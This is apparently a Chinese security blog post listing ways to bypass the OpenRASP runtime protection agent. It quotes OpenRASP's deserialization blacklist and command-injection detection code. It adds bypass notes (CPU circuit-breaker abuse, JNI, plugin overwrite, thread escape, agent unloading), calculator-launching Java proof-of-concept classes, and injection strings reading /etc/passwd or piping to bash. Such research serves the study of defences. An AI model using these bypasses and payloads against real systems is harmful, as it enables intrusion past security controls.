绕过前准备 1. 插件热部署 你可以在插件末尾,打印一条日志
当插件成功加载后就会执行,并在 plugin.log 里打印这条消息:
1 2022-11-17 16:36:11,857 INFO [Thread-4][com.baidu.openrasp.plugin.js.log] [official] 初始化成功
2. 验证是否成功开启OpenRASP X-Protected-By: OpenRASP
3. 修改插件和配置文件,开启拦截模式 绕过 1. 插件official.js
书写规则问题(其实像后面的正则绕过、反序列化绕过等其实都算插件书写规则问题) 比如部分XXE相关规则,OpenRASP默认将其设置为ignore或log OpenRASP没有hook native方法,这样就能直接用forkAndExec配合文件上传执行任意命令
2. 正则绕过 3. 反序列化绕过 绕过黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // transformer 反序列化攻击 deserialization_blacklist: { name: '算法1 - 反序列化黑名单过滤', action: 'block', clazz: [ 'org.apache.commons.collections.functors.ChainedTransformer', 'org.apache.commons.collections.functors.InvokerTransformer', 'org.apache.commons.collections.functors.InstantiateTransformer', 'org.apache.commons.collections4.functors.InvokerTransformer', 'org.apache.commons.collections4.functors.InstantiateTransformer', 'org.codehaus.groovy.runtime.ConvertedClosure', 'org.codehaus.groovy.runtime.MethodClosure', 'org.springframework.beans.factory.ObjectFactory', 'org.apache.xalan.xsltc.trax.TemplatesImpl', 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl', 'com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase' ] }
4. 命令注入 js插件中,这部分是对命令注入的检查 详细算法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 if (algorithmConfig.command_userinput .action != 'ignore' ) { var reason = false var min_length = algorithmConfig.command_userinput .min_length var parameters = context.parameter || {} var json_parameters = context.json || {} var unexploitable_filter = algorithmConfig.command_userinput .java_unexploitable_filter function _run (values, name ) { var reason = false values.some (function (value ) { if (value.length <= min_length) { return false } var userinput_idx = cmd.indexOf (value) if (userinput_idx == -1 ) { return false } if (cmd.length == value.length ) { reason = _ ("WebShell detected - Executing command: %1%" , [cmd]) return true } if (raw_tokens.length == 0 ) { raw_tokens = RASP .cmd_tokenize (cmd) } if (is_token_changed (raw_tokens, userinput_idx, value.length )) { reason = _ ("Command injection - command structure altered by user input, request parameter name: %1%, value: %2%" , [name, value]) return true } }) return reason } if (server.language != 'java' || !unexploitable_filter || cmdJavaExploitable.test (cmd)) { Object .keys (parameters).some (function (name ) { var value_list = [] Object .values (parameters[name]).forEach (function (value ){ if (typeof value == 'string' ) { value_list.push (value) } else { value_list = value_list.concat (Object .values (value)) } }) reason = _run (value_list, name) if (reason) { return true } }) if (reason == false && context.header != null ) { Object .keys (context.header ).some (function (name ) { if ( name.toLowerCase () == "cookie" ) { var cookies = get_cookies (context.header .cookie ) for (name in cookies) { reason = _run ([cookies[name]], "cookie:" + name) if (reason) { return true } } } else if ( headerInjection.indexOf (name.toLowerCase ()) != -1 ) { reason = _run ([context.header [name]], "header:" + name) if (reason) { return true } } }) } if (reason == false && Object .keys (json_parameters).length > 0 ) { var jsons = [ [json_parameters, "input_json" ] ] while (jsons.length > 0 && reason === false ) { var json_arr = jsons.pop () var crt_json_key = json_arr[1 ] var json_obj = json_arr[0 ] for (item in json_obj) { if (typeof json_obj[item] == "string" ) { reason = _run ([json_obj[item]], crt_json_key + "->" + item) if (reason !== false ) { break ; } } else if (typeof json_obj[item] == "object" ) { jsons.push ([json_obj[item], crt_json_key + "->" + item]) } } } } } if (reason !== false ) { return { action : algorithmConfig.command_userinput .action , confidence : 90 , message : reason, algorithm : 'command_userinput' } } }
简单说就是通过RASP.cmd_tokenize(cmd),获得cmd的数组,如[sh][-c][ls][-ls][/]。(cmd_tokenize方法会调用包装native的flex_tokenize方法对语句进行拆分。) 然后进入is_token_changed()方法,这个方法官方注释是检查逻辑是否被用户参数所修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 function is_token_changed (raw_tokens, userinput_idx, userinput_length, distance, is_sql ){ if (is_sql === undefined ) { is_sql = false } var start = -1 , end = raw_tokens.length , distance = distance || 2 for (var i = 0 ; i < raw_tokens.length ; i++) { plugin.log ("raw_tokens[i].stop:" +raw_tokens[i].stop ) if (raw_tokens[i].stop > userinput_idx) { start = i break } } if (start == -1 ) { return false } if (raw_tokens[start].stop >= userinput_idx + userinput_length) { end = start } else { for (var i = start + 1 ; i < raw_tokens.length ; i++) { if (raw_tokens[i].stop >= userinput_idx + userinput_length) { if (raw_tokens[i].start >= userinput_idx + userinput_length) { end = i - 1 break } else { end = i break } } } } plugin.log ('start:' +start) plugin.log ('end:' +end) var diff = end - start + 1 if (diff >= distance) { if (is_sql && algorithmConfig.sql_userinput .anti_detect_enable && diff < 10 ) { var non_kw = 0 for (var i = start; i <= end; i++) { sqliAntiDetect.test (raw_tokens[i].text ) || non_kw ++ if (non_kw >= 2 ) { return true } } return false } return true } return false }
通过代码中我标的注释可知,只有当命令为一个词时才会被执行。 单句命令: 方式1:不可以。{echo,bHMgLWxhIC8=}|{base64,-d}|{bash,-i},但会报错The valid characters are defined in RFC 7230 and RFC 3986,原因是tomcat负责解析http请求的是org.apache.tomcat.util.http.parser.HttpParser,它对请求对URL中对字符做了限制,解除限制需要在conf/catalina.properties中添加配置; 方式2:不可以。cat$IFS/etc/passwd,会对特殊字符的报错/格式化
5. 熔断配置: 在配置文件中设置一下参数:
1 2 3 cpu.usage.enable: true cpu.usage.interval: 5 cpu.usage.percent: 0.5
如果测试失败,可以debug看看OpenRASP获取CPU代码段是否正确。 对于OpenRASP,关键代码位于com.baidu.openrasp.tool.cpumonitor.CpuMonitor#checkCpuUsage方法 主要是使用以下逻辑计算cpu利用率
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 String content = FileUtils.readFileToString(file);String[] fields = content.trim().split("\\s+" ); this .utime = Long.parseLong(fields[13 ]);this .stime = Long.parseLong(fields[14 ]);this .cutime = Long.parseLong(fields[15 ]);this .cstime = Long.parseLong(fields[16 ]);xxxTime = utime + stime + cutime + cstime; totalUsage = (float ) (currentProcessCpuTime - this .lastProcessCpuTime) * 10 * 100 / (float ) (currentTotalCpuTime - this .lastTotalCpuTime);
这里的逻辑主要是将被注入rasp的进程的CPU利用率与总cpu*配置文件中的百分比进行比较。如果totalCpuUsage > cpuUsageUpper
,就将totalCpuUsage放入cpuUsageList中,如果cpuUsageList的size大于等于3,就会将是否禁用全部hook点的标志位disableHooks
设置为true 这样在com.baidu.openrasp.HookHandler#doCheckWithoutRequest方法中会对这个标志位进行判断,如果是true,就会提前返回,禁用全部hook点。
6. JNI注入 传统意义上绕过jni有两种方式: 1)应用存在文件上传,那就直接传一个so文件,再利用代码执行漏洞调用so jni库就行 2)冰蝎作者rebeyond师傅提出基于已有的tomcat-jni(tomcat-jni并不是每个tomcat都有),tomcat-jni提供进程操作、文件操作、网络操作。所以当能使用tomcat-jni时就能绕过RASP
7. 当有代码执行权限时的手法 有代码执行权限时可以关掉RASP的开关(比如上一篇文章中介绍的当服务器的cpu使用率超过90%,禁用全部hook点出有OpenRASP开关代码)、增加白名单等
8. 能任意文件上传时 有权限的话可以覆盖或增加js插件,系统会热加载插件。
9. 冰蝎、哥斯拉对RASP的绕过 哥斯拉:使用含有413个和常用类名非常像的类名字典,生成的恶意类名就从字典里获取,进行欺骗 冰蝎:使用传统的packet名+随机字符的类名,进行欺骗 一方面为了进行欺骗,另一方面是为了让其堆栈变得不可猜测
10. 匹配不一致。比如应用用fastjson,RASP用json,那有的payload可能RASP不认识,但应用认识 11. 绕语义分析:就是让语义分析不认识。sql的handle语句,RASP大多数语句分析都不认识 handler语句语法
1 2 3 4 5 6 7 8 HANDLER tbl_name OPEN [ [AS ] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE
12. 用大量脏数据绕过(oom?) 13. 黑名单绕过:Linux一切基于文件
14. 上下文逃逸: RASP检测需要上下文堆栈,同时在当前线程内会保存一些用于辅助判断的信息。这时一旦新建线程,逃脱出当前线程,之前的堆栈和缓存信息都没了,除非行为非常敏感,否则就造成逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.io.IOException;public class NewThread { static { Thread t = new Thread (new Runnable () { @Override public void run () { try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app/" ); } catch (IOException e) { e.printStackTrace(); } } }); t.start(); } public NewThread () { } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import java.io.IOException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class ThreadPool { static { try { ExecutorService newCachedThreadPool = Executors.newCachedThreadPool(); newCachedThreadPool.execute(new Runnable () { @Override public void run () { try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app/" ); } catch (IOException e) { e.printStackTrace(); } } }); } catch (Exception e) { } } public ThreadPool () { } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import java.lang.ref.WeakReference;public class TestGc { static { TestGc testGc = new TestGc (); WeakReference<TestGc> weakPerson = new WeakReference <TestGc>(testGc); testGc = null ; System.gc(); } public TestGc () { } @Override protected void finalize () throws Throwable { Runtime.getRuntime().exec("open /System/Applications/Calculator.app/" ); super .finalize(); } }
15. 卸载RASP: 最后一个agent的能够将之前的agent全部通过retransform还原 简单来说就是列一个需要还原的list,如java.lang. UNIXProcess
,然后将获得的类初始源码和hook到的源码进行比对,不想等就替换成类初始源码。